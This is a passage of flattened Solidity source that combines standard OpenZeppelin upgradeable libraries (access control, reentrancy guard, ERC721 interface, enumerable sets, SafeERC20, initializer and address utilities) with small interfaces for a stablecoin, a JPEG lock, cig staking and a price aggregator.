* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
interface IAggregatorV3Interface {
function decimals() external view returns (uint8);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
interface IStableCoin is IERC20Upgradeable {
function mint(address _to, uint256 _value) external;
function burn(uint256 _value) external;
function burnFrom(address _from, uint256 _value) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
interface IJPEGLock {
function lockFor(
address _account,
uint256 _punkIndex,
uint256 _lockAmount
) external;
function setLockTime(uint256 lockTime) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
interface IJPEGCardsCigStaking {
function isUserStaking(address _user) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
